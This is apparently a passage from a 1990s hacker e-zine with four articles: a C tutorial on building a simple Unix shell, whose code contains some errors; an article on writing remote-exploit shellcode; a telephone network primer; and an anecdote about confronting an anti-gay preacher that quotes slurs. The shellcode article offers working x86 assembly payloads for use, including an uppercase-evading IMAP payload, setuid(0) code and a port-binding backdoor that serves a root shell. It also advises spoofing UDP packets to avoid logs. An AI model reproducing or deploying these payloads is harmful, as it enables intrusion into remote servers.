fprintf(stderr, "%s\n" PROMPT_STRING);
fgets(input, MAX_BUF, stdin);
if(strcmp(input, QUIT_STRING) == 0)
break;
else {
if( fork() == 0) {
if(makeargv(input, BLANK_STRING, &rargv) > 0)
execvp(rargv[0], rargv);
}
wait(NULL)
}
}
exit(0);
}
--------------------------------EOF-----------------------------------------
Pretty simple huh? When you run it, go ahead and execute some basic
programs, like ls, grep, find etc. It works! Now, as I said before
this is a very raw basic shell, and does not support wiledcards like
'*' or '?'. Also, it doesnt support certain commands like 'cd' which
is available in any good shell. If by some chance the wait() isnt called?
Well, not too much of a problem, but if a user enters a command before
the previous one is executed, the commands will execute cocurrently
(read my article on cocurrency). Also, due to the fact that this
first version we wrote does not find errors on the execvp() call
it gets fucked up if you enter an invalid command. Your shell wont
get control back from the child process and the child process creates
its OWN shell. So you have to type 'quit' to get back to your parent
shell. Let's write a better version of this shell, that handles errors
with execvp(), and we will also replace the #define'd MAX_BUF with
MAX_CANON(located in b4b0shell.h). Because MAX_BUF is nonportable.
----------------------------bsh v2.0-------------------------------------
#include "b4b0shell.h"
void execthecommand(char *incmd) {
char **rargv;
if(makeargv(incmd, BLANK_STRING, &rargv) > 0) {
if(execvp(rargv[0], rargv) == -1) {
printf("Invalid command\n");
exit(1);
}
}
exit(1);
}
void main(void) {
char input[MAX_CANON];
pid_t child_pid;
while(1) {
fputs(PROMPT_STRING, stdout);
if (fgets(input, MAX_CANON, stdin) == NULL)
break;
if(*(input + strlen(input) -1) == NEWLINE_SYMBOL)
*(input + strlen(input - 1) = 0;
if(strcmp(input, QUIT_STRING) == 0)
break;
else {
if ((child_pid = fork()) == 0) {
execthecommand(input);
exit(1);
}
else if(child_pid > 0)
wait(NULL);
}
}
exit(0);
}
------------------------------EOF-----------------------------------------
We made several changes to version 2 of our shell. Notice we used fputs()
instead of fprintf() for the command line. fputs() prints a defined string
alot faster. Also, notice we did some more error checking in this version.
Also notice we now have the function execthecommand() to replace the
original execvp() and makeargv calls. Control will never come back
from the function execthecommand(), so you shouldnt be having a problem
when you enter invalid commands.
Unix deals with input/output through file descriptors. A program has to
open a file or a device before it can access it. It will then access
the file using a handle that is returned by open() syscall. With
the support of re-direction, you can do stuff like this.
b4b0$ cat < input.txt > output.txt
That command redirects its standard input to 'input.txt' and its output
to 'output.txt'.
The following, is a revised version of execthecommand() function that you
can use to support redirection. I basically made execthecommand() parse
*incmd, which might give possible redirection. It then calls redirect()
to perform the actual redirection, and makeargv() create the command
array. It then execs the command.
-----------------------------execthecommand() v2.0 by ph1x--------------------
#include "b4b0shell.h"
void execthecommand(char *incmd)
{
char **rargv;
char *infile;
char *outfile;
if(parsefile(incmd, IN_REDIRECT_SYMBOL, &infile) == -1)
printf("Incorrect input redirection\n");
else if
(parsefile(incmd, OUT_REDIRECT_SYMBOL, &outfile) == -1)
printf("Incorrect output redirection\n");
else if
(redirect(infile, outfile) == -1)
printf("redirection failed!@#$\n");
else if(makeargv(incmd, BLANK_STRING, &chargv) > 0) {
if(execvp(rargv[0], rargv) == -1)
printf("Invalid command\n");
}
exit(1);
}
--------------------------EOF---------------------------------------------
Change the execthecommand() in bsh v2.0 to the one I modified for
redirection support.
Let's take a look at our final shell.
--------------------------bsh v3.0--------------------------------------
#include "b4b0shell.h"
void execthecommand(char *incmd)
{
char **rargv;
char *infile;
char *outfile;
if(parsefile(incmd, IN_REDIRECT_SYMBOL, &infile) == -1)
printf("Incorrect input redirection\n");
else if
(parsefile(incmd, OUT_REDIRECT_SYMBOL, &outfile) == -1)
printf("Incorrect output redirection\n");
else if
(redirect(infile, outfile) == -1)
printf("redirection failed!@#$\n");
else if(makeargv(incmd, BLANK_STRING, &chargv) > 0) {
if(execvp(rargv[0], rargv) == -1)
printf("Invalid command\n");
}
exit(1);
}
void main(void) {
char input[MAX_CANON];
pid_t child_pid;
while(1) {
fputs(PROMPT_STRING, stdout);
if (fgets(input, MAX_CANON, stdin) == NULL)
break;
if(*(input + strlen(input) -1) == NEWLINE_SYMBOL)
*(input + strlen(input - 1) = 0;
if(strcmp(input, QUIT_STRING) == 0)
break;
else {
if ((child_pid = fork()) == 0) {
execthecommand(input);
exit(1);
}
else if(child_pid > 0)
wait(NULL);
}
}
exit(0);
}
------------------------------EOF--------------------------------------
Redirection is the last feature we are going to put in our shell.
Unfortunatley, I was busy as hell getting b4b0 7 together, and I
didn't have much time to add support for pipes, background processes,
jobcontrol(allows a user to move the foreground process group into
the background, and vice versa), or most of the other things that
a good shell features. This was merely for your learning and enjoyment.
Hope you gained something out of it. Feel free to look up the functions
in b4b0shell.h that we didnt use, and extend onto your shell.
Bye. HEH!@#$
ph1x@b4b0.org
-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
<b4b0!b4b0!b4b0> The Art of Making Shell Code, by smiler <b4b0!b4b0!b4b0>
-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
Hopefully you are familiar with generic shell-spawning shellcode. If not
read Aleph's text "Smashing The Stack For Fun And Profit" before
reading further. This article will concentrate on the types of shellcode
needed to exploit daemons remotely. Generally it is much harder to exploit
remote daemons, because you do not have many ways of finding out the
configuration of the remote server. Often the shellcode has to be much
more complicated, which is what this article will focus on.
I will start by looking at the ancient IMAP4 exploit. This is a fairly
simple exploit. All you need to do is "hide" the /bin/sh" string in
shellcode (imapd converts all lowercase characters into uppercase).
None of the instructions in the generic shell-spawning shellcode contain
lower-case characters, so you all you need do is change the /bin/sh
string.
It is the same as normal shellcode, except there is a loop which adds
0x20 to each byte in the "/bin/sh" string. I put in lots of comments so
even beginners can understand it. Sorry to all those asm virtuosos :]
-----imap.S-------
.globl main
main:
jmp call
start:
popl %ebx /* get address of /bin/sh */
movl %ebx,%ecx /* copy the address to ecx */
addb $0x6,%cl /* ecx now points to the last character */
loop:
cmpl %ebx,%ecx
jl skip /* if (ecx<ebx) goto skip */
addb $0x20,(%ecx) /* adds 0x20 to the byte pointed to by %ecx */
decb %cl /* move the pointer down by one */
jmp loop
skip:
/* generic shell-spawning code */
movl %ebx,0x8(%ebx)
xorl %eax,%eax
movb %eax,0x7(%ebx)
movl %eax,0xc(%ebx)
movb $0xb,%al
leal 0x8(%ebx),%ecx
leal 0xc(%ebx),%edx
int $0x80
xorl %eax,%eax
inc %al
int $0x80
call:
call start
.string "\x0f\x42\x49\x4e\x0f\x53\x48"
--------------
This was a very simple variation on the generic shellcode and can be
useful to mask characters that aren't allowed by the protocol the daemon
uses. But when coding remote, or even local, exploits you have to be
prepared to write code which is much more complex. This usually means
writing shellcode that involves different syscalls.
Useful syscalls are:
setuid(): To regain dropped root priviledges (e.g. wu-ftpd)
mkdir()/chdir()/chroot(): To drop back to root directory (e.g. wu-ftpd)
dup2(): To connect a tcp socket to the shell (e.g. BIND&rpc.mountd tcp-style)
open()/write(): To write to /etc/passwd (e.g. everything !)
socket(): To write connectionless shellcode, as explained later.
The actual syscall numbers can be found in <asm/unistd.h>
Most syscalls in linux x86 are done in the same way. The syscall number
is put into register %eax, and the arguments are put into %ebx,%ecx and
%edx respectively. In some cases, where there are more arguments than
registers it may be necessary to store the arguments in user memory and
store the address of the arguments in the register. Or, if an argument
is a string, you would have to store the string in user memory and pass
the address of string as the argument. As before, the syscall is called
by "int $0x80".
You can potentially use any syscall, but the ones mentioned above should
just about be the only ones you will ever need.
As an example heres a little shellcode snippet from my wu-ftpd exploit
that should execute setuid(0).
Note: you should always zero a register before using it.
---setuid.S----
.globl main
main:
xorl %ebx,%ebx /* zero the %ebx register, i.e. the 1st argument */
movl %ebx,%eax /* zero out the %eax register */
movb $0x17,%al /* set the syscall number */
int $0x80 /* call the interrupt handler */
---------------
Port-Binding Shellcode
When you are exploiting a daemon remotely with generic shellcode, it is
necessary to have an active TCP connection to pipe the shell stdin/out/err
over. This is applicable to all the remote linux exploits I've seen so
far, and is the preferred method.
But it is possible that a new vulnerability may be found, in a daemon
that only offers a UDP service (SNMP for example). Or it may only be
possible to access the daemon via UDP because the TCP ports are
firewalled etc. Current linux remote vulnerabilites are exploitable
via UDP - BIND as well as all rpc services run both UDP and TCP
services. Also, if you send the exploit via UDP it is trivial to spoof the
attacking udp packet so that you do not appear in any logs =)
To exploit daemons via UDP you could write shellcode to modify the
password file or to perform some other cunning task, but an interactive
shell is much more elite =] Clearly it is not possible to fit a UDP pipe
into shellcode, you still need a TCP connection. So my idea was to write
shellcode that behaved like a very rudimentary backdoor, it binds to a
port and executes a shell when it receives a connection.
I know for a fact that I wasn't the first one to write this type of
shellcode, but no one has officially published it so...here goes.
A basic bindshell program(without the style) looks like this:
int main()
{
char *name[2];
int fd,fd2,fromlen;
struct sockaddr_in serv;
fd=socket(AF_INET,SOCK_STREAM,0);
serv.sin_addr.s_addr=0;
serv.sin_port=1234;
serv.sin_family=AF_INET;
bind(fd,(struct sockaddr *)&serv,16);
listen(fd,1);
fromlen=16; /*(sizeof(struct sockaddr)*/
fd2=accept(fd,(struct sockaddr *)&serv,&fromlen);
/* "connect" fd2 to stdin,stdout,stderr */
dup2(fd2,0);
dup2(fd2,1);
dup2(fd2,2);
name[0]="/bin/sh";
name[1]=NULL;
execve(name[0],name,NULL);
}
Obviously, this is going to require a lot more space than normal
shellcode, but it can be done in under 200 bytes and most buffers are
quite a bit larger than that.
There is a slight complication in writing this shellcode as socket
syscalls are done slightly differently than other syscalls, under linux.
Every socket call has the same syscall number, 0x66. To differentiate
between different socket calls, a subcode is put into the register %ebx.
These can be found in <linux/net.h>. The important ones being:
SYS_SOCKET 1
SYS_BIND 2
SYS_LISTEN 4
SYS_ACCEPT 5
We also need to know the values of the constants, and the exact
structure of sockaddr_in. Again these are in the linux include files.
AF_INET == 2
SOCK_STREAM == 1
struct sockaddr_in {
short int sin_family; /* 2 byte word, containing AF_INET */
unsigned short int sin_port; /* 2 byte word, containg the port in
network byte order */
struct in_addr sin_addr /* 4 byte long, should be zeroed */
unsigned char pad[8]; /* should be zero, but doesn't really matter */
};
Since there are only two registers left, the arguments must be placed
sequentially in user memory, and %ecx must contain the address of the
first. Hence we have to store the arguments at the end of the shellcode.
The first 12 bytes will contain the 3 long arguments, the next 16 will
contain the sockaddr_in structure and the final 4 will contain fromlen
for the accept() call. Finally the result from each syscall is held in
%eax.
So, without further ado, here is the portshell warez...
Again I've over-commented everything.
----portshell.S----
.globl main
main:
/* I had to put in a "bounce" in the middle of the code as the shellcode
* was too big. If I had made it jmp the entire shellcode, the instruction
* would have contained a null byte, so if anyone has a shorter version,
* please send me it.
*/
jmp bounce
start:
popl %esi
/* socket(2,1,0) */
xorl %eax,%eax
movl %eax,0x8(%esi) /* 3rd arg == 0 */
movl %eax,0xc(%esi) /* zero out sock.sin_family&sock.sin_port */
movl %eax,0x10(%esi) /* zero out sock.sin_addr */
incb %al
movl %eax,%ebx /* socket() subcode == 1 */
movl %eax,0x4(%esi) /* 2nd arg == 1 */
incb %al
movl %eax,(%esi) /* 1st arg == 2 */
movw %eax,0xc(%esi) /* sock.sin_family == 2 */
leal (%esi),%ecx /* load the address of the arguments into %ecx */
movb $0x66,%al /* set socket syscall number */
int $0x80
/* bind(fd,&sock,0x10) */
incb %bl /* bind() subcode == 2 */
movb %al,(%esi) /* 1st arg == fd (result from socket()) */
movl %ecx,0x4(%esi) /* copy address of arguments into 2nd arg */
addb $0xc,0x4(%esi) /* increase it by 12 bytes to point to sockaddr struct */
movb $0x10,0x8(%esi) /* 3rd arg == 0x10 */
movb $0x23,0xe(%esi) /* set sin.port */
movb $0x66,%al /* no need to set %ecx, it is already set */
int $0x80
/* listen(fd,2) */
movl %ebx,0x4(%esi) /* bind() subcode==2, move this to the 2nd arg */
incb %bl /* no need to set 1st arg, it is the same as bind() */
incb %bl /* listen() subcode == 4 */
movb $0x66,%al /* again, %ecx is already set */
int $0x80
/* fd2=accept(fd,&sock,&fromlen) */
incb %bl /* accept() subcode == 5 */
movl %ecx,0x4(%esi) /* copy address of arguments into 2nd arg */
addb $0xc,0x4(%esi) /* increase it by 12 bytes */
movl %ecx,0x4(%esi) /* copy address of arguments into 3rd arg */
addb $0x1c,0x4(%esi) /* increase it by 12+16 bytes */
movb $0x66,%al
int $0x80
/* KLUDGE */
jmp skippy
bounce:
jmp call
skippy:
/* dup2(fd2,0) dup2(fd2,1) dup2(fd2,2) */
movb %al,%bl /* move fd2 to 1st arg */
xorl %ecx,%ecx /* 2nd arg is 0 */
movb $0x3f,%al /* set dup2() syscall number */
int $0x80
incb %cl /* 2nd arg is 1 */
movb $0x3f,%al
int $0x80
incb %cl /* 2nd arg is 2 */
movb $0x3f,%al
int $0x80
/* execve("/bin/sh",["/bin/sh"],NULL) */
movl %esi,%ebx
addb $0x20,%ebx /* %ebx now points to "/bin/sh" */
xorl %eax,%eax
movl %ebx,0x8(%ebx)
movb %al,0x7(%ebx)
movl %eax,0xc(%ebx)
movb $0xb,%al
leal 0x8(%ebx),%ecx
leal 0xc(%ebx),%edx
int $0x80
/* exit(0) */
xorl %eax,%eax
movl %eax,%ebx
incb %al
int $0x80
call:
call start
.ascii "abcdabcdabcd""abcdefghabcdefgh""abcd""/bin/sh"
-----------------------------------------------------
Once you have sent the exploit, you only need to connect to port 8960, and
you have an interactive shell.
----------------[ FreeBSD shellcode
Just in case all of that was all old hat to you, I'll take a little
foray into the world of BSD x86 shellcode. FreeBSD shellcode is in most
ways completely different. Primarily because syscalls are done by pushing
arguments onto the stack and using a far call. The syscall number
still goes in the %eax register however. OpenBSD is much the same but
it uses an interrupt for syscalls.
The main complication in writing shellcode for FreeBSD is in the far
call (instruction lcall 7,0) which contains 5 null bytes. Obviously
you would need to write some basic self-modifying shellcode. Since this is
going to be used in every syscall you make, its best to put this into a
mini-function and call it whenever necessary. I wrote a little template
for this, it's easy enough to make it execute a shell or bind to a port.
Just incase you're wondering the syscall for execve is 0x3b.
----fbsd.S----
.globl main
main:
jmp call
start:
/* Modify the ascii string so it becomes lcall 7,0 */
popl %esi
xorl %ebx,%ebx
movl %ebx,0x1(%esi) /* zeroed long word */
movb %bl,0x6(%esi) /* zeroed byte */
movl %esi,%ebx
addb $0x8,%bl /* ebx points to binsh */
jmp blah /* start the code */
call:
call start
syscall:
.ascii "\x9a\x01\x01\x01\x01\x07\x01" /* hidden lcall 7,0 */
ret
binsh:
.ascii "/bin/sh...."
blah:
/* put shellcode here */
call syscall
-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
<b4b0!b4b0> The Telephone System/Network Part 1, by pabell <b4b0!b4b0>
-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
THE TELEPHONE SYSTEM OR NETWORK
This paper was written mainly because of the lack of real information
kicking around on and off the net about phone systems and networks.
This is part one, of a two-part primer on phone systems. This is a
very introductory paper. I don't go into great detail, but cover the
basics and a first look at phone networks and systems.
If you really haven't been exposed to the telephony industry, this
paper, may be ominous. For the purpose of this paper I have broken
the telephone network into three basic components.
1. THE CENTRAL SWITCHING MACHINE
2. THE OUTSIDE PLANT FACILITIES
3. THE INSIDE PLANT FACILITIES
In this paper we will look at each of the three sections.
Section three the INSIDE PLANT FACILITIES will be covered in detail
throughout it. The CENTRAL SWITCHING MACHINE and the OUTSIDE PLANT
FACILITIES sections of the telephone network will be explained briefly
in general terms. Most of the parts of the telephone system or network
will already be familiar to you even without realizing it. You have a
phone of some description in your home or office, which is part of
the INSIDE PLANT FACILITIES section of the telephone network.
The INSIDE PLANT FACILITIES consists of all the cable, hardware,
telephone sets or equipment in the building or between buildings on
the same piece of property. The part of the network, which connects
buildings of various shapes and descriptions together, is called THE
OUTSIDE PLANT FACILITIES. Poles and associated wires are the only
type of outside plant distribution system in use today.
The remaining part you may not know about, or at least think you don't
know about, is the Central Switching Machine. The basic telephone circuit
is Two Wire Circuit, which connects every telephone set, through the
Outside Plant Facilities to a Central Switch. This two-wire circuit is
usually referred to as a "pair". One wire of the pair is referred to
as the TIP and the other wire is the RING.
THE CENTRAL SWITCHING MACHINE
The CENTRAL SWITCHING MACHINE is similar to the hub of a wheel where all
the individual two wire circuits or spokes are connected. This may sound
pretty complicated, but it really isn't. The central switch monitors
your telephone circuit and gives you a dial tone when you lift the
telephone set off the cradle. Taking a telephone handset off the
cradle is referred to as going "off-hook". Off-hook is a very common
phrase, and you will hear it in later parts of this paper.
When you dial, the Central Switch registers the digits dialed,
and identifies the circuit of the party you are trying to reach. The
Central Switch then connects your two-wire circuit to the party you dialed.
The two telephone sets, which are connected together by the Central Switch,
are referred to as the "calling" and "called" parties. The Central Switch
the sends a ringing voltage out to the called party, which rings the set
bells to identify an incoming call.
When the called party goes off-hook, the Central Switch recognizes the
off-hook condition, and stops sending the ringing voltage, the two
parties then converse. When the calling party dials a number of a
telephone circuit which is already in use, or "busy", the Central
Switch recognizes the busy condition, and returns a busy tone to
the calling party.
So, as you can see, the Central Switch isn't really unfamiliar to you.
You have interacted with, and experienced many of the operations it
performs. There are many types of Central Switching Machines in use
throughout the telephone industry today. Each switch has it's advantages,
and features, however all systems provide the basic functions which were
briefly described.
To review, the main parts of the Telephone Network I have described so
far are:
1. THE CENTRAL SWITCHING MACHINE
2. THE OUTSIDE PLANT FACILITIES
3. THE INSIDE PLANT FACILITIES
Let's backtrack briefly to the Outside Plant Facilities section of the
network. Obviously, it would be too difficult to take each seperate
two-wire circuit, individually back to the Central Switch. Consequently,
numerous two wire circuits or pairs from a common area are bound together
in a common covering, or sheath. These groups of pairs enclosed by a common
sheath are referred to as cable. The actual number of pairs in a cable
or the size of cable can vary from one pair, to hundreds of pairs dependent
upon how many circuits the cable must service. As was mentioned previously,
all the cables servicing locations leave the Central Switch in different
directions according to the route, which will be the most cost effective,
and can effectively, service people in the area. The cables, which leave
the Central Switch, are very large, but as the cable goes along it is
continually decreasing in size, as smaller cables are dropped off at
locations where they are needed. The smaller cables branch out from the
main cables, and these cables again branch out to smaller cables until
every building and place is reached.
There are three basic types of outside plant facilities in use today, which connect the Central Switch, ultimately to your phone.
1. AERIAL CABLE
2. UNDERGROUND CABLE
3. FIBER OPTIC CABLE
Let's briefly look at each of the types of Outside Plant Facilities.
Aerial Cable
As the name aerial cable would indicate, the cable, and terminals are
supported above the ground on poles. The Aerial Cable distribution
system is probably the one you are most familiar with, since it was the
first system utilized across North America. The poles and wire are still
visible throughout this country today, and in many cases, is still the
most cost-effective method, where underground cabling is physically
impossible.
The diagram would be typical of a single line residential building
application of an Aerial Outside Plant System. You may see the term
"terminal" in the diagram. Terminals are simply access points placed at
convenient locations, on or between poles, along the cable route to permit
connections to selected pairs in the cable. For example, a cable
consisting of 100 pairs might have a terminal mounted on the pole to
allow a technician access to pairs 1-25. The next terminal would allow
access to pairs 24-40, and so on, until all the pairs have been used.
In this manner, the pair assigned to each building, at the Central Switch,
can be accessed at the closest terminal to that particular building.
The individual buildings aerial "drop wire" is then connected to the
pair in that terminal.
Underground Cable
The underground cable distribution system is very similar in design to the
aerial cable system. I consider underground cable to be both, DIRECT
BURIED CABLE and CABLE PLACED IN UNDERGROUND CONDUIT SYSTEMS.
As the title Direct Buried would indicate, the cable is placed into
the ground, with no protection other than the inherent protection
provided by the cable composition. Underground Conduit Systems
for cable, are used to provide an out of sight cable system and to
provide a means of adding to the existing cable as service demands
increase. Underground Conduit Systems also provide protection for
the cables since the cables are inside a pipe, which shields the cable.
The Underground Cable Distribution System is configured similarly to
the aerial cable, in that, cables leave a central point and continually
branch out to smaller cables until all the buildings etc. have been
accommodated.
The Underground System is connected to buildings in basically two ways.
PEDESTALS and ENCAPSULATION. Pedestals are simply terminals or access
points where building cabling can be connected to the cable from the
Central Switching Machine. There are many types, sizes, and shapes of
pedestals in use today.
The following diagram is a simplified depiction of the underground cable
(drop wire) from a building premise, which has been buried, to a pedestal
for connection.
Encapsulation is when the buildings drop wire is permanently spliced into
the underground distribution system. This system is preferred in
situations where the visible pedestals are not appropriate, or possible.
Fiber Optic Transmission Systems
In the aerial and underground cable distribution systems looked at
earlier, a pair of copper wires is used to carry the electrical signals
generated by the transmitting buildings phone, to the switching machine,
and then ultimately, to the receivers phone. The mouthpiece (transmitter)
of the telephone converts the acoustic voice message into corresponding
electrical signals. The electrical signals are passed onto the receiver's
earpiece (receiver) where they are converted back to the original
acoustic voice message.
In certain cases now, it is becoming uneconomical to provide a pair of
wires from every customer phone to the central switch. Transmitting speech
and information via glass fibers instead of the conventional copper wire
methods previously described is becoming increasingly popular in high
traffic areas. The term "Fiber Optics" or "FOTS" is becoming more and
more prevalent in the communication industry. "FOTS" is the short term
for Fiber Optics Transmission System.
The development of FOTS technology has been increasing dramatically in
recent years. The transmitting buildings phone still generates the same
electrical signals, but the signals are used to turn a light source on and
off. The light travels down the glass fibers where it is received and
converted back to electrical impulses, which are connected to the
receiving customers to wire copper pair.
To get a perspective of the comparison of a pair of copper wires to a pair
of glass fibers, consider the number of independent connections, which are
possible on each type of system.
* A pair of copper wires will provide two way communications for one
conversation.
* A pair of glass fibers can provide up to 8000 independent connections.
The demands for more and more facilities to transmit and receive
information is becoming increasingly rapid. The cost and limitations of
traditional means of linking areas together, is becoming more apparent.
The normal cable distribution systems in use throughout the telephone
industry employs combinations of underground, aerial, and FOTS
distribution systems, to provide the most cost efficient, and effective
means of providing service.
There is your basic introduction to the telephone network or system.
As my series of phone networks goes on I will go into greater detail
and explain some of its more complex issues and attributes.
Pabell
pabell@comtech.ab.ca
-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
How I literally got kicked out of the Eastern Baptist Church, by schemerz
-x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
Disclaimer: Incidents included are all fictionious in nature due to the
shady recollection process after smoking a little bit too much hash. These
incidents were funny, at least as I remember it. These accounts are
somewhat factual, somewhat not, so I decided just to change the names and
make it safe in case I get anything horribly wrong.
Eastern Baptist Church is located in Topuka, the capital of the state
Kansas. It's not a really big church, but they get in the news alot.
Most of the time they leave their tact at home and picket funerals and
concerts, most recently the funeral of Math ew Sheppard. (I think they
are too chicken to picket the rob zomebie and korn concert in KC last
night, kick ass concert btw, but that's another article... :) They are
also responsible for web sites such as www.goddetestsfags.com. So they
are really a fun bunch. Rush Limbough would have been proud.
Reverend Fred Felps heads the crowd, who was a lawyer in a previous life,
until one of his sons got out of the closet. Fred Felps then runs to the
nearest Warmart to purchase a really bad white robe and calls himself a
preacher. After being thrown out o f the Southern Baptist Church because
of his faggot hating ways, he started his own church, the Eastern Baptist
Church, which basically runs out of his own house along with 20-30 family
members and close friends. They get supported by a lot of white powe r
parties too. Although not all of the family is predominantly prejudgice,
I have had the pleasure of meeting his grandson, Ben Felps, who happens to
be a graduate student doing computer science at University of Kansas. Ben
admins most of his granddaddy 's sites, including of course yours truly.
Enough with the background. I have to explain why I had the urge of
seeing one of these sermons of Fred, if not fucking it up and causing some
serious mayhem:
Almost 3 years ago I arrived in Kansas fresh off the boat, as they would
say afer having a less than stellar high school career somewhere in South
East Asia. Shortly after arriving into the university and being shipped
off to this smelly little dorm room , I was introduced to Sam my new
roomate. He drove me around, showing me stuff and I got to know him very
well. We were just kicking it one weekend in september and started
watching the tele, when channel 6 was doing a special of a concert held at
a loc al community college. Turns out this composer was dying of AIDS,
and someone was holding a concert in his name for being the talent as he
is. (I can't remember this dood's name, but I remember listening to some
of his stuff on the local university radio now. Truly a talent.) Caught
out of the corner of the camera there were these doods holding up signs with
slogans like "Anal Sex=Aids=Death," "Gay=Death of Ethics=Death of America,"
and of course, "God detests fags!". I was thoroughly bewildered at the
sight of such signs, and proceeded to bug Sam about it. Shit like this
at home just does not fly. It's not like asians have a strong tolerance
of homosexuals or racial diversity, but they keep it to themselves and
have the politeness to withhold their opinion at times of mourning, such
as a concert displaying ones work as one dies of aids. Being the fuckwit
18 year old that I was, I suggested to Sam that we would head over and see
one of their sermons and check out their reasoning, because neither of us
can make any logical sense out of Fred's websites. So we called the
church up, asked if it was an open sermon coming up. We stated that we
weren't gonna cause trouble, and putting on my fakeist british accent,
asked if we could attend. We were of co urse declined the opportunity,
since it was a close church.
Being the dumb motherfucker sam can be sometimes, we decided to crash the
party instead. (He's getting married to the least sensible woman on this
planet in a month, so WATCH OUT FOR DA KIDS)
So we hoped into his girlfriends car (btw we chatted this woman up no more
than one week before, and now three years latter sam is fucking marrying
the woman... good god... time has past QUICKLY... oh and she lent him
the car... Megan is so fucking co ol, prolly cause Sam is such a fucking
pimp), and drove to Topuka. We arrived at the church shortly before the
sermon begun, and walked in, saying we are looking for Ben. Ben came out
shortly, trying to cover his blood soaked ass, saying that his grandd ad
was holding a sermon. We talked abit, commenting a little about the
upside down american flag hanging outside the church. He said he would
attend to us shortly after the sermon. I put on the largest puppy dog
eyes I could muster, and asked *very* po litely if I can attend the
sermon. Since he was a ta in one of my computer science lab classes, he
was sure I wasn't going to pull any shit.
We got in, sat on a seat. The living room was packed, and Sam was kinda
chickening out a little... "Maybe we shon't be here dood..." Little did
I know he was one of the most articulate argurers I was ever gonna meet :)
So the sermon went, the usual ch urch shit, yahdayahdayahda... the hymes,
the prayers and all that... until about 45 minutes latter Sam woke me
from deep slumber when Fred started preaching the evils of homosexuality.
People started asking questions as he spoke, and he answered quite
logically. The man was a lawyer I thought, most of them, like my dad,
have a knack of conveying one side of reasoning and made it all
encompassing. So I held up my hand, to which I was asked to speak.
"Reverend Felps, I am new here, in this church and in this country. I don't
quite understand why you seem to direct all your problems at one social group
who a) pay more taxes per capita then most other minorites, b) are probably
more educated as well ?
How can any group contributing to the government and society in such a
way be considered harmful ?"
He muttered something ridiculous like telling me to get a haircut, which
was when Sam (he's got hair down to his ass... I learned never ever to
talk any shit about long hair around him) stood up and started his
rhetoric :)...
"Mr Felps, I would like to know why you are so proliferic about your
projections on to gay people. It is quite entertaining, humorous even,
that you would chose to broadcast your inner id feelings towards
homosexuals on national television. "
Most people got the joke, and gave us the evilest look they could muster.
I must say most people would have backdowned and shut up at this point,
but Sam, oh Sam... what can I say... Anyways, Mr Felps professed that he
did not know what Sam meant.
Sam : "Mr Felps, would you like to answer my friends question as to why
you are targeting one of the more successful groups of minorites of this
country ?"
Felps : "I happen to think their lifestyle is a harmful influence to our
youth in this country. I also happen to percieve that this country is
being overran by faggots. Is there no more decency in this country ?"
(applause by his crowd)
"Mr Felps, as I recall correctly, the american society is firmly
capitalist, meaning that each individual's success is based upon one's
wealth. how would the lifestyle of a homosexual, one of success, good
education and wealth be questionable to the yout h? "
Felps : "As *I* recall correctly, the american society is firmly CHRISTIAN
based. It is because of non-believers such as these homosexuals, that the
youth today stem from the faith. That, is why I am opposed to them."
Me : "But was it not in the new Testament itself that states that we
should love our neighbours ?"
Felps : "Ummmmm... Are you familiar with the book of Sodom ?"
Sam : "Yes I am, and I am familiar with this line of arguement. You would
state that the book of sodom states quite clearly that male-male sexual
activites are forbidden and the only male-female copulation is deemed
allowable by god. You would also stat e that the bible FIRMLY states that
sex is a sacred act of god, and people should not abuse this power. You
will also lead into the argument right here that AIDS and other sexually
transmitted diseases was the repricusion of these acts."
Felps : "You read my mind son. How would you chose to refute these
claims. I am of course a man binded by faith, so please keep any
arguements of the bible's validity to yourself. "
Sam : "Okay... Homosexuality has been documented long since roman times.
How come aids were to come around now?"
Felps : "There are other sexual transmitted diseases that god has
dispensed in his fury upon this planet. Unfortunately the devil has made
the faggot strong in his ways, and they have not been disuaded."
Me : "How about this ? It is nearly medically impossible for lesbians to
contract aids. If god indeed try to make AIDS as a means of disuading
homosexuality, why are a) more hetrosexuals affected ? b) why did he
leave half the faggots off the list ? "
Felps : "God is not fair, he chose to punish the whole of humanity for the
crimes of the faggots. I have taken up the task of god to disuade all of
humanity against the ways of faggots. Lesbians are evil too."
One of us : "You still have not answered the questions we posed, could you
please answer them now ? "
Felps : "I have answered them son. God has other diseases to weaken his
enemy. Aids is only one piece in his arsenal. Gonoerrha, syphillis, etc
etc all attack sexually indecent men and women in some way or another."
One of us : "Alright fair enough, how about this... If a person who is
not sexually promiscous, then it is very unlikely that he or she gets
infected with anything correct ? Is it possible that your god wants to
disuade his people away from promiscious sex ? Has he not made a
distinction between acts of love and acts of passion before ?"
Felps :"God has made it very clear that sexual acts outside of wedlock are
forbidden. "
Me :"Mr Felps, where does it exactly in the bible say that wedlock has to
between a man and a woman ?"
Felps : (stammers some unintelligible... me and sam exchange evil
grinning looks...)
Me : "As a matter of fact, where in the bible does it define the man and
the woman entity, biologically and psychologically ? If this premise is
not made, then all your arguements against homosexuality is up to
question."
Someone in the crowd : "How is that ?"
Sam : "Well it is quite easy to see that a gay couple can be enacting both
the male and female parts of the relationship. With legislation allowing
homosexuals to marry in Hawaii it is perfectly ethical for gays to be in
bounds of christianity and still copulate. No ?"
Someone in the crowd : (something like you fags or faggot loving
liberals... something dumb like that... think it was Ben. )
Someone else in the crowd : (Leave if you don't like what we have to say,
We don't like you anyways.)
Sam : "We are merely discussing the rhetoric in the bible, I personally
made no attacks towards the validity of the good book, neither did my
friend here. "
Some bitch in the crowd : "Shut up you people are full of it as it is!"
Me : "We were merely discussing with the *beloved* reverend the various
interpreations of the bible over a fine comb."
We were asked to leave anyways :) In fact, we didn't leave quite yet
until Sam got his answers from his questions. Sorely to say we were
rather discouraged with our journey towards the interpretations of the
bible. I personally ditched the cross and became a taoist instead.
Oh well... Fred was beaten up in the middle of Kansas City one day when
he was picketing somewhere near the Plaza. HEH it was a sight to behold.
He's wrong. I am right. HAHA
